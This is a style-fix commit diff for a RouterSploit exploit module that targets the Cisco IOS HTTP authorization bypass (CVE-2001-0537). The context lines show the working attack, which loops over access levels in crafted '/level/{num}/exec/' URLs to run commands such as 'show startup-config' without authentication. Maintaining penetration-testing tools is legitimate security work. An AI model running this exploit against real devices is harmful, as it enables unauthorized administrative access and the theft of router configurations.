fixed more style issues

corrected W291, E261, W293, W391 issues

routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py

@@ -13,16 +13,16 @@ class Exploit(exploits.Exploit):
     """
     This exploit targets a vulnerability in the Cisco IOS HTTP Server.
     By sending a GET request for the url  "http://ip_address/level/{num}/exec/..",
-    it is possible to bypass authentication and execute any command. 
-    Example: http://10.0.0.1/level/99/exec/show/startup/config  
+    it is possible to bypass authentication and execute any command.
+    Example: http://10.0.0.1/level/99/exec/show/startup/config
     """
     __info__ = {
         'name': 'Cisco IOS HTTP Unauthorized Administrative Access',
         'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
-                        'to bypass authentication and execute arbitrary commands, '
-                        'when local authorization is being used, by specifying a high access level in the URL.',
+                       'to bypass authentication and execute arbitrary commands, '
+                       'when local authorization is being used, by specifying a high access level in the URL.',
         'authors': [
-            'Author', 'Renos Stoikos rstoikos[at]gmail.com'# routesploit module
+            'Author', 'Renos Stoikos rstoikos[at]gmail.com'  # routesploit module
         ],
         'references': [
             'http://www.cvedetails.com/cve/cve-2001-0537',
@@ -32,10 +32,10 @@ class Exploit(exploits.Exploit):
         ],
     }
 
-    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
     port = exploits.Option(80, 'Target port') # default port
     show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')
-    
+
     def check(self):
         for num in range(16, 100):
             url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
             elif response is None:
                 return False  # target is not vulnerable
         return False  # target is not vulnerable
-            
+
     def run(self):
         for num in range(16, 100):
             url = "{}:{}/level/{}/exec/-/{}".format(self.target, self.port, num, self.show_command)
@@ -57,5 +57,4 @@ class Exploit(exploits.Exploit):
                 print_info(response.text)
                 break
             else:
-                print_error("Exploit failed - could not execute command for level",num)
-                
+                print_error("Exploit failed - could not execute command for level", num)